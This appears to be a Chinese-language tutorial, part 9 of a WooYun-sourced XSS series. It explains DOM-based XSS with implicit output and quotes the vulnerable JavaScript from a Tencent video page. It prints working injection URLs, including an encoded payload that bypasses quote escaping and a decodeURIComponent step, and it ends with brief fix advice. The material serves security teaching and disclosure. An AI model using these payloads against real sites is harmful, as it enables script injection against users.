# 9\. Dom Xss 入門 [隱式輸出]
> 來源:[9\. Dom Xss 入門 \[隱式輸出\]](http://www.wooyun.org/bugs/wooyun-2010-016150)
## 簡要描述
上一篇開始說 DomXss 了,我們說的是顯式輸出的情況,即我們可以在右鍵查看源代碼的時候,看到我們所輸出的內容。而有一些時候, 輸出操作我們是看不見的。它們通常發生在 javascript 代碼中。譬如:`var x=location.href;` 這句 Javascript 實際上進行了一個隱 藏的輸出操作,即將 `location.href` 的內容輸出到了 x 變量中。一起來看看相關的例子吧~
## 詳細說明
前注: 1-4 是普通原理,沒看明白的話,可以從 5 開始,結合實際例子看。
1\. 本來是有另外一個例子的,不過不知道是騰訊已經給修復了,還是之前測試的時候人品好,偶爾碰上了,總之現在用不上了。
2\. 這樣一來,我們就只好用一個稍微復雜一點點的例子了。
3\. 在說實際例子前,我們來說一個前端開發人員非常習慣使用的一段代碼。下面大致寫下偽代碼。
```
function getParam(參數名){
//獲取地址欄參數,通常是 a=1&b=2&c=3;
var x=location.search;//或者是 location.hash
//此時 x="?a=1&b=2&c=3";
//根據[參數名]取出參數名對應的值
//例如 參數名=a, 則 y=1
//例如 參數名=b, 則 y=2
//至于這里怎么實現這個功能,可以用循環,可以用 indexOf,可以用正則 var y= 參數名對應的參數值;
//返回 y return y;
}
```
它的作用呢?就是從地址欄的參數里取出內容。譬如: `http://www.some.com/2.html?name=shouzi&age=20`
我們在 2.html,要顯示 name 對應的值。對應的代碼則非常可能下面這樣寫:
```
<div id="nick">加載中...</div>
<script>
var a=getParam("name"); //獲取地址欄里的 name 參數,即 shouzi document.getElementById("nick").innerHTML=a;
</script>
```
4\. 上面是普通開發人員為了實現功能而寫的代碼,如果沒有安全考慮,就會存在問題。 如果上面的地址變為了:
```
http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20
```
那么變量 a 將會等于
```
<img src=1 onerror=alert(1)> document.getElementById("nick").innerHTML=a;
```
即變成了
```
document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";
```
這樣就變成了 教程 8 中的情景,從而觸發 XSS。
5\. 接著我們看一個實際的例子。
```
http://qt.qq.com/video/play_video.htm?sid=aaaaaa
```
和原來的不同,我們在源代碼里搜索不到東西的哦~

那可能這里有人會有一個疑問了。那我們怎么知道有沒有漏洞呢? 別擔心,方法是有的。
這里以 chrome 為例,按 F12,打開調試工具,見下圖

和查看源代碼沒有什么不同,只是這次是在調試工具里看而已。
6\. 通過上面的方式,確定【可能】有漏洞之后。我們可以有 2 個方式來進行下一步。
6.1 直接根據調試工具里看到的 HTML 代碼情況,來構造利用代碼。 優點:省時間,缺點:如果對方有一定過濾,就很難構造
6.2 定位到與這個缺陷參數 sid 相關的 JS 代碼,再來構造利用代碼。優點:能利用一些復雜的情況, 缺點:耗時間。
7\. 對于新手來說,先看 6.1 的情況。看到步驟 5 里面的那個圖。我們可以構造以下代碼。
```
<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
...其它的省略了...
</object>
```
對應的圖片解析:

進而“試探性”的測試一下利用代碼,因為我們不知道對方會不會過濾掉 “雙引號”,“括號”之類的,只能試試了。。
```
http://qt.qq.com/video/play_video.htm?sid=aaaaa](http://qt.qq.com/video/play_video.htm?sid=aaaaaa)a"></object><img src="1" onerror="alert(1)
```
沒反應,我們繼續看看調試工具,發現,雙引號,變成了 `\\"` 。

根據這個情況,我們可以進一步修改代碼。<img>標簽里不使用雙引號。
```
http://qt.qq.com/video/play_video.htm?sid=aaaaa](http://qt.qq.com/video/play_video.htm?sid=aaaaaa)a"></object><img src=1 onerror=alert(1)>
```
這次 OK 啦。

可以看到,這種方式,寫利用代碼很快。
8\. 再來看看 6.2 的方法。既然我們知道了,sid 這個參數會被使用。 那么我們的目標是,javascript 的代碼里哪里使用了 sid 這個 參數呢?
9\. 我們首先,F12 打開調試工具,點【Resources】,再點 Frames, 然后 Ctrl+ F 搜索 "sid" 或者 'sid'

我們運氣很好,一下就定位到了一個 sid。
10\. 可以看到是 `getUrlPara("sid")`,從單詞,我們不難猜出,getUrlPara 就是前面我們提到的 “獲取地址欄參數“的函數。 為了進一步確定,我們可以很方便的在 console 里查看 getUrlParam 函數是啥樣的。

可以看到,實際上 getUrlParam 是對`<`, `>` 做了過濾, 但是由于 chrome 瀏覽器自身的 XSS 防御機制,導致 `location.href` 獲取的 `location.href` 是已經經過編碼的。從而導致未過濾。 如下圖:

11\. 按道理,location.href 里的`<`, `>` ,`"` 已經變成了 `%3c`, `%3e`,`%22` 已經被過濾了,不會有 XSS 了,為什么還可以呢?我們進一步往后看。

看來,關鍵就是這里,這里有一步 decodeURIComponent 的操作,會將 `%3c`, `%3e`,又變回 `<`, `>`
供參考的完整的缺陷代碼。
```
var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,視頻不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您還沒有安裝flash插件<br/>請<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本過低<br/>請<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">無法打開視頻文件,視頻地址不合法!</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}```
12\. 接著,會調用 `insertFlash("dv_video","f",sid,"100%","100%");` insertFlash 里,也并沒有對 sid 進行任何過濾。
```
function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}
```
圖片解析:

```
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
```
非常值得說明的是:
如果采用 6.1 的方法,我們得到的利用代碼是
```
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
```
!! 這個代碼在 IE 下,是沒法 XSS 的。
而通過 6.2 的方法,去分析 JS 代碼,我們則可以構造出通用的 XSS 代碼。
```
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
```
這也反應了 6.1 和 6.2 方法各自的優缺點。
## 修復方案
1\. 修復過濾上的邏輯問題。
2\. 注意不同瀏覽器中,`location.href` 的不同點。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]